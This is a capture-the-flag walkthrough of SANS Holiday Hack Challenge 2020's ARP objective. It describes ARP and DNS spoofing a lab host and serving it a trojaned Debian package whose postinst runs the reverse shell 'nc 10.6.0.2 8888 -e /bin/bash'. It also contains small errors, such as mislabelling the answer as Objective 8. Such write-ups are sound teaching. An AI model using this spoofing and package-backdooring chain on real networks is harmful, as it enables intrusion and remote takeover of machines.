SANS Holiday Hack Challenge 2020: Objective 9— ARP Shenanigans

Each year, the SANS and Counter Hack Challenges teams put together my favorite capture the flag (CTF) competition, the SANS Holiday Hack Challenge. The 2020 SANS Holiday Hack Challenge, featuring KringleCon 3: French Hens! was held at Santa’s newly renovated castle at the North Pole from December 10, 2020 to January 11, 2021. This is a walk-through for an objective from the event.

Objective 9) Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

Upon logging into the host, I learned that Jack Frost had hijacked the host at 10.6.6.35 with custom malware and my job was to regain command line access to that host. I started by using tcpdump to listen to the traffic on the host to see what I could learn about the compromised host at 10.6.6.35. I observed the compromised making an ARP request to see where the system 10.6.6.53 was located. It seemed likely that 10.6.6.53 was Jack Frost’s command and control system and this was the malware calling out.

To confirm this theory, I attempted to spoof the ARP response and direct future traffic to my own system to see what data was sent to or expected from the command and control system. To accomplish this, I used the arp_resp.py file located in the scripts directory as a template. Below shows the changes I made to accomplish my ARP spoofing.

To make these changes, I first had to look up the MAC address of the 10.6.6.35 system to see where to send the response to. I did this by using the command tcpdump -nn -i eth0 -c1 -e to isolate a single ARP request packet and display the mac address instead of IP address. This revealed that the MAC address of the compromised host is 4c:24:57:ab:ed:84. I filled this information into the destination field at the ethernet layer and in the arp_response hardware destination field.

Next, I filled in the appropriate IP addresses in the arp_response object. The source is 10.6.6.53, meaning that the ARP response is coming from that host. While the response is really coming from my host, I put the 10.6.6.53 IP there since that is the IP I was spoofing. In the destination field, I used the IP of the compromised host since that is where the ARP response is going to.

Next, I populated both the source of the Ether layer and the psrc field in the arp_response with my own mac address since I was spoofing 10.6.6.53. I wanted the compromised host to think that 10.6.6.53 sat at my mac address instead of its own. The script conveniently pulled out the mac address of my terminal and stored it in a variable named macaddr so I used that variable to ensure that my script would work each time I ran it, even if I ran it in a new terminal days later.

Finally, I populated the remaining fields op, plen, hwlen, ptype, and hwtype. Most of these followed the default values for an ARP response. Op had a value of 2 because that indicated that a response was being sent instead of a reply. Plen was assigned to 4 because it represents the number of octets in the psrc and pdst fields IPv4 contains 4 octets. Similarly, hwlen was set to the number 6 because the hwsrc and hwdst fields contained mac addresses which have 6 octets. Ptype got a value of 0x0800 because this is the standard value in an ARP request when routing via IPv4. Finally, hwtype got a value of 1 because this is the default value when using ethernet as the layer 2 protocol. I was able to determine many of these default values by looking at the sample packet provided in the help document and confirmed the values by viewing Wikipedia’s very detailed specs on ARP packets.

With my script completed, I started the tcpdump listener again and then ran my script with the updates listed above. My ARP response was successful and I was able to see that the compromised host then came back and requested a DNS lookup for ftp.osuosl.org immediately following my successful spoof.

The DNS request was requesting an A record, which meant it was expecting to have the IP address returned for the system that is hosting ftp.osuosl.org. Next, I began working on a DNS response packet to send in response to this to see what the compromised host would request from that host. To do this, I began using the dns_resp.py script provided in the scripts folder as a template. Below are the changes I made to the script to make this work.

Once again, the script automatically pulled out the mac address and IP address of my current terminal. I decided to use them whenever possible to ensure that my script could run across various terminal instances. Additionally, I decided to use as much information as possible from the packet that was received. The script listens to the network traffic on port 53 (DNS) for a DNS request. It collects the first DNS request it sees and passes that packet to the handle_dns_request function that I altered above which ultimately ends up sending the crafted response packet. Since information can change about the received DNS request, such as source port and the query itself, I pulled the information out of the request packet wherever possible.

First, I updated the Ether layer, providing my mac address as the source and the compromised hosts mac address as the destination.

Next, I updated the IP layer. Since the request included a source and destination IP, the response should reflect those. The source of the response should match the destination of the request and vice versa with the destination. Thus, I updated the IP layer by pulling the source and destination IP from the request packet. Note that in this setup, the source IP in the response that I sent was 10.6.6.53. This was not a problem, though, since the compromised host thought that 10.6.6.53 existed at my mac address. In fact, this was needed because the compromised host was expecting a response from 10.6.6.53 and not from my IP. I did the same with the UDP layer, passing in the source and destination ports using the data provided in the captured packet.

Finally, I updated the DNS layer with all the information needed. Most of these fields are documented in comments in the code above, and only key pieces will be highlighted here. In general, I found the correct fields by looking at the scapy documentation for the DNS layer, looking at the documentation on Wikipedia for the DNS message format, and reviewing the sample packet provided in the help document on the terminal. The most important part of this was the query, stored in the qd field. The qname field reflects the DNS name that was being looked up. The qtype reflects that an A record was being returned.

When the script was completed, I returned to the terminal and ran this script to begin listening for the DNS packet. I also turned on tcpdump and then ran the ARP spoof script again. The two screenshots below show that I was able to successfully send the DNS response and then the compromised host came back and tried to connect on port 80 to my host.

Using the help guide again, I launched a web server on port 80 via python to see what was being requested in that communication. Then I ran everything again. From the Python Web server, I was able to see that the compromised host was requesting the resource /pub/jfrost/backdoor/suriv_amd64.deb.

Since the host was requesting a deb file, which is a Debian Linux installer package, there was a good chance whatever file was received would be installed on the compromised host. I used one of the hints provided to create a specially crafted Debian installer that called back to my host in order to get command line access to the compromised host. To call back, I used netcat. Since I didn’t know if netcat was installed on the compromised host, I used netcat as the Debian package that I built my crafted package from.

I extracted the netcat-traditional_1.10–41.1ubuntu1_amd64.deb file located in the debs folder on the terminal. Then I copied the necessary files from it into a working directory as explained in the guide provided in the hint linked above. I added to the following payload to the postinst file to ensure it was run after netcat was installed on the system: nc 10.6.0.2 8888 -e /bin/bash. I packaged the file back up again, and saved it under /debs/pub/jfrost/backdoor/suriv_amd64.deb to ensure that it would be found in the correct location when queried. Then I changed directories back into /debs and started the python web server again. Next I started a netcat listener on my own system using the command nc -lvp 8888. I ran the dns spoofer and the arp spoofer and was able to get command line access to the host.

Next, I confirmed that the file in question was in the current directly by using the ls command to list the contents of the directory.

Finally, I catted out the file to view the contents and see that Tanta Kringle is the elf that recused herself from the vote.

Objective 8 Answer: Tanta Kringle

Interested in learning more about the 2020 SANS Holiday Hack Challenge? Check out my other walk-throughs available here.

Writing on security, programming, and life in general.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store